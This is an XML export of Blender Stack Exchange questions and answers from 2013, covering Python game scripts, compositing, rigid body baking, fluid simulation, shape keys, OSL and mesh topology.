  <row Id="2117" PostTypeId="2" ParentId="2112" CreationDate="2013-08-03T06:11:59.763" Score="7" Body="&lt;p&gt;Welcome to the world of programming. When you are writing scripts the first rule is they are very picky, every word has to be an exact match(case sensitive) and punctuation needs to be in the right place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running blender from a terminal window can help as you will see error messages that can help you find the problems - at least the line numbers will help you focus on where python finds the error. I'd recommend you start from a terminal and use the errors to try and see how I found the following fixes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure it's a big thing but you have the same logic bricks setup for the plane as well as the lamp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get you started - in MouseRay.py -&lt;br&gt;&#xA;Line 13 the plane after the = is a call to the Plane class above - it needs to use a capital P&lt;br&gt;&#xA;Line 15 needs a : at the end&lt;br&gt;&#xA;Line 17 needs () after the function name&lt;br&gt;&#xA;Line 24 ray.p0 should be ray_p0&lt;br&gt;&#xA;Line 27 intersect_lin_plane should be intersect_line_plane&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you see they are very small picky things but you need to specify exactly what you are referring to each time. You have a class called Plane and a variable named plane and an object called plane.004 which could be named plane. Python needs to know exactly which plane you refer to at any given time. It also highlights the need to use helpful distinct names for everything. Even if python can tell which one you are referring to given the context - can you? without spending 5 minutes ticking off what refers to what?&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-08-03T06:11:59.763" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2118" PostTypeId="2" ParentId="2105" CreationDate="2013-08-03T10:00:30.997" Score="6" Body="&lt;p&gt;You probably want to have same effects in VSE as in a compositor. You can do it through scene strips. Go to the compositor add new scene, check 'use nodes' option and connect to 'compositor' output node, then go to your VSE and add scene strip. Now you can switch back and forth between two editors and use them as you like (the only thing is that it really slow process)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;More Detailed Explanation:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;every time you create a new scene you create new composite &#xA;(I think 'after effects' and every other compositing software has this concept), &lt;/p&gt;&#xA;&#xA;&lt;p&gt;in your composite you have your images videos etc. you change colors apply effects and so on, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;when your composite is ready you go to VSE add scene (composite), you have composited, and do your video editing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can import multiple scenes and every scene can have multiple images and videos, if you've worked with software like Photoshop or GIMP you are probably know how layers work, so in Blender's Compositor you can have same effect by using 'Mix' node, it sort of stacks your images, videos and 3D onto another and by choosing right blend mode you can achieve desirable effects, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you have to keep in mind though that blender uses top-to-bottom stacking order instead of bottom-to-top like Photoshop, GIMP etc. Also keep in mind to activate Compositor in 'Post Processing' panel. Oh and if you have in your VSE viewer 'Open GL Preview' enabled it will render only your 3D even though you composited it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Advice you will hear quite often is to render each composite as image sequence first and add them in vse instead of using scene strips, performance wise it would result in a huge gain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also can watch this video: &lt;a href=&quot;http://www.blendernation.com/2013/06/14/tip-caching-node-compositing-using-vse/&quot; rel=&quot;nofollow&quot;&gt;http://www.blendernation.com/2013/06/14/tip-caching-node-compositing-using-vse/&lt;/a&gt; &#xA;it sums up the whole process.&lt;/p&gt;&#xA;" OwnerUserId="864" LastEditorUserId="864" LastEditDate="2014-10-12T14:30:12.203" LastActivityDate="2014-10-12T14:30:12.203" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2119" PostTypeId="2" ParentId="2113" CreationDate="2013-08-03T17:34:56.343" Score="2" Body="&lt;p&gt;A cheap workaround could be done using proportional editing with constant offset.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Enable proportional editing (select connected)&lt;/li&gt;&#xA;&lt;li&gt;Set the type to constent&lt;/li&gt;&#xA;&lt;li&gt;Grab one vertex and scale the proportional editing up.&lt;/li&gt;&#xA;&lt;li&gt;Move&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-08-03T17:34:56.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2120" PostTypeId="2" ParentId="2113" CreationDate="2013-08-03T17:40:18.273" Score="6" Body="&lt;p&gt;The easiest way to do this in blender 2.68 is to open the properties panel (&lt;kbd&gt;N&lt;/kbd&gt;), and copy-paste the values from the 3D-cursor location fields to the transform median fields by hovering the mouse over them and hitting &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; and &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt;.&#xA;This does the same thing as the new snapping with offset that's implemented in the current trunk, as stated by iKlsR. My answer will be irrelevant once blender 2.69 sees daylight.&lt;/p&gt;&#xA;" OwnerUserId="263" LastActivityDate="2013-08-03T17:40:18.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2121" PostTypeId="2" ParentId="2114" CreationDate="2013-08-03T21:07:12.307" Score="6" Body="&lt;p&gt;The method used in 2.68 only worked well for dissolving areas that were flat &lt;em&gt;(in this case, vertices with co-linear edges)&lt;/em&gt; since it worked in a single pass, but wasn't good progressively reducing detail like in the example you show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Committed an improved method &lt;a href=&quot;http://markmail.org/message/dpfvk373sa3vcsnq&quot; rel=&quot;nofollow&quot;&gt;r58879&lt;/a&gt;, This will be in any recent build or version 2.69.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Update:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The reason the result with 6 sides won't necessarily be equilateral hexagon is the order of dissolving vertices which have exactly the same difference in edge-angle (as with a circle) is undefined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this example to work the limited dissolve code would need to have checks to determine the order of dissolving vertices in the case where they have equal angles, There are a few ways this could be accomplished but I'm not convinced this is so important to support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Such a case is fairly specific and not really the intended use of this tool, so I think its outside the scope of limited-dissolve to solve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though if it could be supported using the current dissolve code, I'm not totally against that either.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-08-08T22:26:31.943" LastActivityDate="2013-08-08T22:26:31.943" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2122" PostTypeId="1" AcceptedAnswerId="2123" CreationDate="2013-08-03T23:50:09.473" Score="7" ViewCount="11502" Body="&lt;p&gt;I'm trying to make an animation in which my object first drops on a surface by using rigid body physics but later rotates towards the camera driven with manual keyframe animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there is a &quot;animation&quot; button in the rigid body settings. However activating it seemed to completely remove the earlier physics-driven animation from my object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to first animate with rigid body and the continue the animation manually via keyframes?&lt;/p&gt;&#xA;" OwnerUserId="1037" LastActivityDate="2016-05-16T07:00:43.693" Title="First move object with rigid body physics, then animate manually" Tags="&lt;animation&gt;&lt;rigid-body-simulation&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2123" PostTypeId="2" ParentId="2122" CreationDate="2013-08-04T00:06:17.680" Score="3" Body="&lt;p&gt;You can use the &lt;em&gt;Rigid Body Tools&lt;/em&gt; panel available from the toolshelf. Just setup your objects as normal, select the one you want to manually animate after the simulation and hit &lt;em&gt;Bake To Keyframes&lt;/em&gt;.&lt;br&gt;&#xA;&lt;em&gt;(In this example, I have a cube as the active object with its mass set to brick and the plane as a passive object)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/V4Kgq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A dialog will popup, select the start and end frames and optionally the frame step and hit &lt;em&gt;OK&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OJ6ql.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once this is done you should see the rigid body simulation keyframes for the object appear in the timeline from the start and end frame you specified. You can then select the object and manually animate from thereon and even tweak the baked keyframes if you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CtAUH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-08-04T00:11:31.907" LastActivityDate="2013-08-04T00:11:31.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2124" PostTypeId="2" ParentId="2122" CreationDate="2013-08-04T00:24:33.233" Score="0" Body="&lt;p&gt;In the Properties window, under the Physics tab, &lt;a href=&quot;https://blender.stackexchange.com/a/1285/290&quot;&gt;animate&lt;/a&gt; the Dynamic setting in the Rigid Body panel. This setting controls if the &quot;Rigid Body actively participates to the simulation&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5DhHK.png&quot; alt=&quot;Rigid body panel&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2013-08-04T00:24:33.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2125" PostTypeId="1" AcceptedAnswerId="2126" CreationDate="2013-08-04T01:44:45.617" Score="12" ViewCount="21627" Body="&lt;p&gt;I am trying to bake a fluid simulation in Blender 2.67. Here is a mockup of my scene:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PfnRo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My scene is set up just like the picture, with a sun lamp above a mesh that is supposed to be a riverbed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The liquid &lt;em&gt;Domain&lt;/em&gt; object encapsulates everything except for the sun lamp, and it covers all edges.  Inflow and outflow objects are specified, one each, with the inflow velocity set to Y: -1.0, Z: 1.0.  All liquid simulated objects are enabled.  The mesh is set to &lt;em&gt;Obstacle&lt;/em&gt;.  Settings are very, very low:  25 resolution for final and preview, 4.0 second start/end span for 100 frames (real-time), and smoothing set to 0.0, for a whopping 463 KB estimated memory space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My issue is that when I try to bake it, after specifying a valid directory, nothing happens, except that the status bar appears, my computer saves the baked cache correctly, and then it's as if nothing happened.  Nothing in the menus changes, preview and render both act as if the event never occurred.  I'm also using Windows 7 64-bit with Intel Mobile Express Chipset Family 4 (graphics card).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's not a lot, so I know it can't be my memory or graphics card issues.  Here is &lt;a href=&quot;http://www.filedropper.com/liquidsimissues&quot; rel=&quot;noreferrer&quot;&gt;the relevant &lt;code&gt;.blend&lt;/code&gt; file&lt;/a&gt;. What could the problem be?&lt;/p&gt;&#xA;" OwnerUserId="1038" LastEditorUserId="372" LastEditDate="2013-08-17T16:08:11.943" LastActivityDate="2018-09-02T03:40:10.257" Title="Fluid simulation not baking" Tags="&lt;fluid-simulation&gt;&lt;baking&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2126" PostTypeId="2" ParentId="2125" CreationDate="2013-08-04T02:00:59.557" Score="9" Body="&lt;p&gt;I don't use the fluid simulator much but it seems the problem can be fixed by adding some depth to the &lt;em&gt;inflow&lt;/em&gt; object. Currently it's just a flat plane. Just extrude it a bit on the &lt;em&gt;Y&lt;/em&gt; axis and bake.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XrN06.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-08-04T02:21:28.073" LastActivityDate="2013-08-04T02:21:28.073" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="2127" PostTypeId="1" AcceptedAnswerId="2145" CreationDate="2013-08-04T02:26:47.517" Score="8" ViewCount="2602" Body="&lt;p&gt;In a &lt;a href=&quot;https://blender.stackexchange.com/questions/2020/computing-and-animating-mesh-deformations&quot;&gt;previous question&lt;/a&gt; it was shown that a mesh that was duplicated and deformed separately can be used to define a shape key in the original mesh. If the vertex count doesn't match then you get an error message saying &quot;Selected meshes must have equal number of vertices&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a test I subdivided a cube and merged some vertices to get a vertex count of 507 to match the count in a default suzanne mesh. After joining as a shape key I see a small resemblance to the suzanne shape but really have nothing more than a collection of randomly joined vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o4uWl.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what defines a matching topology in the context of using a mesh to generate a shape key?&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2013-08-08T06:34:29.943" Title="What defines matching topology?" Tags="&lt;mesh&gt;&lt;geometry&gt;&lt;topology&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2128" PostTypeId="2" ParentId="2127" CreationDate="2013-08-04T10:06:43.050" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Techs/Shape/Shape_Keys&quot; rel=&quot;nofollow&quot;&gt;Shape keys&lt;/a&gt; only store the vertex positions, so a matching number is all that's required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you run &lt;code&gt;bpy.app.debug = True&lt;/code&gt; in the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Extensions/Python/Console&quot; rel=&quot;nofollow&quot;&gt;python console&lt;/a&gt;, you'll get a Indices option in the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes#Mesh_Display&quot; rel=&quot;nofollow&quot;&gt;Mesh Display panel&lt;/a&gt; of the Properties shelf. With it enabled you can see the index numbers of vertices — these are what's used to find the corresponding point to move to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is the vertices are numbered pretty much in order of creation. When performing a join as shapekey, vertex 1 will be moved to the position of vertex 1 in the target shape, vertex 5 will move to the position of vertex 5 and so on. If the target shape has an edge from vertex 3 to 6 and the base shape has an edge from 3 to 12 then you end up with a bit of a mess in the new shapekey.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the topology that needs to match in this scenario is the order that the vertices are created and joined together needs to match up for the join as shapekey to work well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The general rule would be that a mesh that is duplicated and modified would have a matching topology and be a good candidate for Join as shapekey. Two meshes created from scratch will most likely not join very well.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="935" LastEditDate="2013-08-05T03:06:10.087" LastActivityDate="2013-08-05T03:06:10.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2129" PostTypeId="1" AcceptedAnswerId="2130" CreationDate="2013-08-04T11:43:50.163" Score="3" ViewCount="1718" Body="&lt;p&gt;On &lt;a href=&quot;http://www.openshading.com/osl/faq/&quot; rel=&quot;nofollow&quot;&gt;openshading&lt;/a&gt; the FAQ says:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;OSL only works on the CPU for now. It would be possible to port the system to GPU, but it would require a lot of work. There are no immediate plans for it.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does this mean? Does this affect only OSL script nodes? I noticed that a a OSL script wave_rot.osl is compiled in wave_rot.oso which looks like assembly source code (but not for ia64 so I guess it is code for CUDA).&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2013-08-04T11:51:48.270" LastActivityDate="2013-08-04T13:38:00.017" Title="Does OSL work on the GPU?" Tags="&lt;gpu&gt;&lt;osl&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2130" PostTypeId="2" ParentId="2129" CreationDate="2013-08-04T13:38:00.017" Score="4" Body="&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/OSL&quot; rel=&quot;nofollow&quot;&gt;From the wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Users can now create their own nodes using the &lt;a href=&quot;http://code.google.com/p/openshadinglanguage/&quot; rel=&quot;nofollow&quot;&gt;Open Shading Language&lt;/a&gt; (OSL). Note that these nodes will only work for CPU rendering; there is no support for running OSL code on the GPU.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blenderdiplom.com/index.php/en/interviews/item/84-interview-brecht-van-lommel-on-cycles?tmpl=component&amp;amp;print=1&quot; rel=&quot;nofollow&quot;&gt;Quote from Brecht&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The main issue is to get OSL working on the GPU. It's almost as much work as building Cycles itself. It's not easy to do so we need more people to help us.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The oso file just contains the shader compiled &lt;a href=&quot;https://en.wikipedia.org/wiki/Bytecode&quot; rel=&quot;nofollow&quot;&gt;bytecode&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-08-04T13:38:00.017" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2131" PostTypeId="1" AcceptedAnswerId="2132" CreationDate="2013-08-04T14:01:01.323" Score="14" ViewCount="3876" Body="&lt;p&gt;When I scale vertices of an object that has a &lt;em&gt;Mirror&lt;/em&gt; modifier, the points scale about the median of the non-mirrored points only. How can I configure Blender to include the mirrored points in the calculation of the origin?&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="372" LastEditDate="2013-08-17T15:40:56.800" LastActivityDate="2016-10-15T14:26:46.470" Title="Scale about true center with Mirror modifier" Tags="&lt;mirror&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2132" PostTypeId="2" ParentId="2131" CreationDate="2013-08-04T15:18:14.153" Score="9" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Snap#Snap&quot; rel=&quot;noreferrer&quot;&gt;Snap Cursor to Selected&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;In the Properties shelf, for the mirrored axis, subtract the Median location from the 3D cursor location. &lt;img src=&quot;https://i.stack.imgur.com/0D8B5.gif&quot; alt=&quot;&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Set &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Pivot_Point/3D_Cursor&quot; rel=&quot;noreferrer&quot;&gt;3D Cursor as Pivot&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transformations/Basics/Scale&quot; rel=&quot;noreferrer&quot;&gt;Scale&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-08-04T15:18:14.153" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2133" PostTypeId="1" AcceptedAnswerId="2137" CreationDate="2013-08-04T15:54:39.250" Score="9" ViewCount="3309" Body="&lt;p&gt;I am learning Blender, and at the moment I am trying to create very simple game. The point I am stuck at is texturing problem. I have created a simple maze and added two different materials for floors and walls. Walls are supposed to be white, and floors a bit blue with cloud texture. The look I got in render mode is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tq42h.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in game mode it is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TDlaX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is that? Are only UV textures available in Blender game engine? I am using a procedural texture.&lt;/p&gt;&#xA;" OwnerUserId="717" LastEditorUserId="12" LastEditDate="2013-08-05T05:46:10.830" LastActivityDate="2013-12-31T11:48:18.953" Title="Why texturing in game engine looks different than in render mode?" Tags="&lt;texturing&gt;&lt;game-engine&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2134" PostTypeId="2" ParentId="2133" CreationDate="2013-08-04T16:27:06.817" Score="4" Body="&lt;p&gt;RolandiXor's &lt;a href=&quot;https://blender.stackexchange.com/a/2137/12&quot;&gt;answer&lt;/a&gt; solves the problem at hand here so i'm just adding this as the question title is broad enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;In response to your &lt;a href=&quot;https://blender.stackexchange.com/revisions/2133/2&quot;&gt;first revision&lt;/a&gt; of the question where it was unknown what the cause was (as you didn't say),&lt;/em&gt; one other common problem people will run into when using textures and not having them show is starting the game engine in a mode other than &lt;em&gt;Texture&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this, simply change the viewport shading to &lt;em&gt;Texture&lt;/em&gt; from the 3d view header or use &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;Z&lt;/kbd&gt;. By default the game engine will launch in whatever shading mode you have it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/g6OEV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2013-08-05T05:51:42.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2135" PostTypeId="1" AcceptedAnswerId="2136" CreationDate="2013-08-04T17:12:32.487" Score="6" ViewCount="3577" Body="&lt;p&gt;When I try to create a geometry like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SZyz6.png&quot; alt=&quot;large&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get defects like this that also show up in the render&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b8K7u.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could I avoid this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using a 2 times catmull-clark subdivision surface modifier&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="12" LastEditDate="2013-08-04T19:08:11.070" LastActivityDate="2013-08-04T21:17:19.933" Title="Subdivision-surface giving strange geometry with tris" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;workflow&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2136" PostTypeId="2" ParentId="2135" CreationDate="2013-08-04T18:51:23.070" Score="6" Body="&lt;p&gt;Tris and subsurf don't blend well. I would suggest reworking that mesh, try using quads wherever possible. For a hard surface object, tris are ok to a point but once you start to subdivide and smooth it, it quickly gets out of hand. The 'strange geometry' is more than likely caused by the tris pinching together at one point. If you go into edit mode, use wireframes and look at what the modifier is doing. It is mutilating your mesh trying to subdivide those triangular faces.&lt;/p&gt;&#xA;&lt;h2&gt;An alternative&lt;/h2&gt;&#xA;&lt;p&gt;The way I normally go about this and one way to do it is to add the circle and a plane to the scene, delete an &lt;em&gt;edge&lt;/em&gt; of the plane so the face goes away and then add it back. You should now have something like this below. &lt;em&gt;(This is the wireframe)&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tP9EX.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;This next step will be unique to every case as it depends how many vertices the circle has. You generally want to estimate at this point and select an even or so amount of vertices and subdivide one side of the plane and join these together. You can manually do this for the entire plane side by side or automate it with the mirror modifier or duplicating and rotating and removing doubles etc.. depends what works best for you.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;At this point, it will be easy to see if you are off as the mesh will look odd. You generally want to aim for something that gets nice even spaces and looks symmetrical to the other sides to a point.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/46vGU.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;You now have a mesh with a circle in it with nice clean faces so you can easily add more geometry as needed and subdivide as much as you want.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kQ7ybm.png&quot; alt=&quot;enter image description here&quot; /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/m3j52m.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;For more tips see: &lt;a href=&quot;https://blender.stackexchange.com/questions/1754/how-to-fill-a-hole-in-face&quot;&gt;How to fill a hole in face?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3&gt;Edit:&lt;/h3&gt;&#xA;&lt;p&gt;As Aldrik &lt;a href=&quot;https://blender.stackexchange.com/questions/2135/subdivision-surface-giving-strange-geometry-with-tris/2136?noredirect=1#comment3668_2136&quot;&gt;mentions in the comments&lt;/a&gt; below, another option is to subdivide the surface to get some geometry and use the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transformations/Advanced/To_Sphere&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;To Sphere&lt;/em&gt;&lt;/a&gt; function with &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;S&lt;/kbd&gt;. This &lt;em&gt;isn't&lt;/em&gt; always perfect in my experience but can work at times.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-08-04T21:17:19.933" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2137" PostTypeId="2" ParentId="2133" CreationDate="2013-08-05T02:44:01.760" Score="5" Body="&lt;p&gt;The game engine is rather limited in this regard, as it only supports &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Mapping/UV/Applying_Image&quot; rel=&quot;nofollow&quot;&gt;UV&lt;/a&gt; and GLSL textures, along with vertex colours of course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Bake&quot; rel=&quot;nofollow&quot;&gt;bake&lt;/a&gt; your procedural textures to UV maps, but this is a time consuming process. If you don't, however, you will not see them in the Game Engine.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Sources:&lt;/strong&gt; &lt;em&gt;Google, Wikipedia, my limited experience with the game engine ;)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="72" LastEditorUserId="72" LastEditDate="2013-08-05T17:18:46.210" LastActivityDate="2013-08-05T17:18:46.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2140" PostTypeId="2" ParentId="2089" CreationDate="2013-08-05T07:44:03.287" Score="4" Body="&lt;p&gt;The &quot;bleach bypass look&quot; can be replicated in its most simplest way by reducing saturation and increasing contrast of the image using bright/contrast node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But instead to get a more detailed look what I would suggest is to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;have the image de-saturated slightly&lt;/li&gt;&#xA;&lt;li&gt;have a copy of the original image de-saturated completely and boost&#xA;the contrast of this layer by carefully using an RGB curves node&lt;/li&gt;&#xA;&lt;li&gt;the monochrome layer should be mixed with the first image using&#xA;&quot;overlay&quot; blending mode.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;To adjust the contrast effect you would adjust the curve as desired and also the factor/strength of the mix/overlay node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/u4QTs.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/u4QTs.png&quot; alt=&quot;example setup&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/u4QTs.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;Full Size&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your example image the artist appears to have also used some sort of sharpening or detail enhancement to make details pop out more.&lt;/p&gt;&#xA;" OwnerUserId="904" LastActivityDate="2013-08-05T07:44:03.287" CommentCount="0" 